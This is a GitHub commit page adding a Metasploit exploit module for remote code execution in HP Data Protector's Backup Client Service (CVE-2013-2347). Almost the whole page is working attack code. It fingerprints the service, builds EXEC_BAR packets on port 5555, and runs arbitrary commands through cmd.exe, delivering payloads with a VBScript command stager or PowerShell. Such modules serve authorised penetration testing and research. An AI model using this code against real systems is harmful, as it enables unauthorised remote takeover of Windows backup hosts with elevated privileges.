Skip to content

Commit 2015c56

Browse files
committed
Land rapid7#3066 - HP Data Protector Backup Client Service Remote Code Execution
2 parents 096d6ad + 4e9350a commit 2015c56

File tree

1 file changed

+206
-0
lines changed

1 file changed

+206
-0
lines changed
Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::Tcp
14+
include Msf::Exploit::Powershell
15+
include Msf::Exploit::CmdStagerVBS
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'HP Data Protector Backup Client Service Remote Code Execution',
20+
'Description' => %q{
21+
This module abuses the Backup Client Service (OmniInet.exe) to achieve remote code
22+
execution. The vulnerability exists in the EXEC_BAR operation, which allows to
23+
execute arbitrary processes. This module has been tested successfully on HP Data
24+
Protector 6.20 on Windows 2003 SP2 and Windows 2008 R2.
25+
},
26+
'Author' =>
27+
[
28+
'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability discovery
29+
'juan vazquez' # Metasploit module
30+
],
31+
'References' =>
32+
[
33+
[ 'CVE', '2013-2347' ],
34+
[ 'BID', '64647' ],
35+
[ 'ZDI', '14-008' ],
36+
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ],
37+
[ 'URL', 'http://ddilabs.blogspot.com/2014/02/fun-with-hp-data-protector-execbar.html' ]
38+
],
39+
'Privileged' => true,
40+
'Payload' =>
41+
{
42+
'DisableNops' => true
43+
},
44+
'DefaultOptions' =>
45+
{
46+
'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
47+
},
48+
'Platform' => 'win',
49+
'Targets' =>
50+
[
51+
[ 'HP Data Protector 6.20 build 370 / VBScript CMDStager', { } ],
52+
[ 'HP Data Protector 6.20 build 370 / Powershell', { } ]
53+
],
54+
'DefaultTarget' => 0,
55+
'DisclosureDate' => 'Jan 02 2014'))
56+
57+
register_options(
58+
[
59+
Opt::RPORT(5555),
60+
OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe'])
61+
],
62+
self.class)
63+
end
64+
65+
def check
66+
fingerprint = get_fingerprint
67+
68+
if fingerprint.nil?
69+
return Exploit::CheckCode::Unknown
70+
end
71+
72+
print_status("#{peer} - HP Data Protector version #{fingerprint}")
73+
74+
if fingerprint =~ /HP Data Protector A\.06\.(\d+)/
75+
minor = $1.to_i
76+
else
77+
return Exploit::CheckCode::Safe
78+
end
79+
80+
if minor < 21
81+
return Exploit::CheckCode::Appears
82+
elsif minor == 21
83+
return Exploit::CheckCode::Detected
84+
else
85+
return Exploit::CheckCode::Detected
86+
end
87+
88+
end
89+
90+
def exploit
91+
if target.name =~ /VBScript CMDStager/
92+
# 7500 just in case, to be sure the command fits after
93+
# environment variables expansion
94+
execute_cmdstager({:linemax => 7500})
95+
elsif target.name =~ /Powershell/
96+
# Environment variables are not being expanded before, neither in CreateProcess
97+
command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "")
98+
if command.length > 8000
99+
# Windows 2008 Command Prompt Max Length is 8191
100+
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
101+
end
102+
print_status("#{peer} - Exploiting through Powershell...")
103+
exec_bar(datastore['CMDPATH'], command, "\x00")
104+
end
105+
end
106+
107+
def peer
108+
"#{rhost}:#{rport}"
109+
end
110+
111+
def build_pkt(fields)
112+
data = "\xff\xfe" # BOM Unicode
113+
fields.each do |v|
114+
data << "#{Rex::Text.to_unicode(v)}\x00\x00"
115+
data << Rex::Text.to_unicode(" ") # Separator
116+
end
117+
118+
data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
119+
return [data.length].pack("N") + data
120+
end
121+
122+
def get_fingerprint
123+
ommni = connect
124+
ommni.put(rand_text_alpha_upper(64))
125+
resp = ommni.get_once(-1)
126+
disconnect
127+
128+
if resp.nil?
129+
return nil
130+
end
131+
132+
Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null
133+
end
134+
135+
def exec_bar(cmd, *args)
136+
connect
137+
pkt = build_pkt([
138+
"2", # Message Type
139+
rand_text_alpha(8),
140+
rand_text_alpha(8),
141+
rand_text_alpha(8),
142+
rand_text_alpha(8),
143+
rand_text_alpha(8),
144+
"11", # Opcode EXEC_BAR
145+
rand_text_alpha(8),
146+
rand_text_alpha(8),
147+
rand_text_alpha(8),
148+
rand_text_alpha(8),
149+
rand_text_alpha(8),
150+
rand_text_alpha(8),
151+
rand_text_alpha(8),
152+
rand_text_alpha(8),
153+
rand_text_alpha(8),
154+
rand_text_alpha(8),
155+
rand_text_alpha(8),
156+
"#{cmd}", # Executable
157+
rand_text_alpha(8)
158+
].concat(args))
159+
sock.put(pkt)
160+
# In my testings the default timeout (10) isn't enough
161+
begin
162+
res = sock.get_once(-1, 20)
163+
rescue EOFError # happens when using the Powershell method
164+
disconnect
165+
return
166+
end
167+
fail_with(Failure::Unknown, "#{peer} - Expected answer not received... aborting...") unless exec_bar?(res)
168+
disconnect
169+
end
170+
171+
def exec_bar?(data)
172+
return false if data.blank?
173+
data_unpacked = data.unpack("NnVv")
174+
data_unpacked.length == 4 && data_unpacked[0] == 8 && data_unpacked[1] == 0xfffe && data_unpacked[2] == 0x36 && data_unpacked[3] == 0
175+
end
176+
177+
def execute_command(cmd, opts = {})
178+
exec_bar(datastore['CMDPATH'], "/c #{cmd}", "\x00")
179+
end
180+
181+
def get_vbs_string(str)
182+
vbs_str = ""
183+
str.each_byte { |b|
184+
vbs_str << "Chr(#{b})+"
185+
}
186+
187+
return vbs_str.chomp("+")
188+
end
189+
190+
# Make the modifications required to the specific encoder
191+
# This exploit uses an specific encoder because quotes (")
192+
# aren't allowed when injecting commands
193+
def execute_cmdstager_begin(opts)
194+
var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
195+
var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
196+
decoded_file = "#{var_decoded}.exe"
197+
encoded_file = "#{var_encoded}.b64"
198+
@cmd_list.each do |command|
199+
# Because the exploit kills cscript processes to speed up and reliability
200+
command.gsub!(/cscript \/\/nologo/, "wscript //nologo")
201+
command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file))
202+
command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
203+
end
204+
end
205+
206+
end

0 commit comments

Comments
 (0)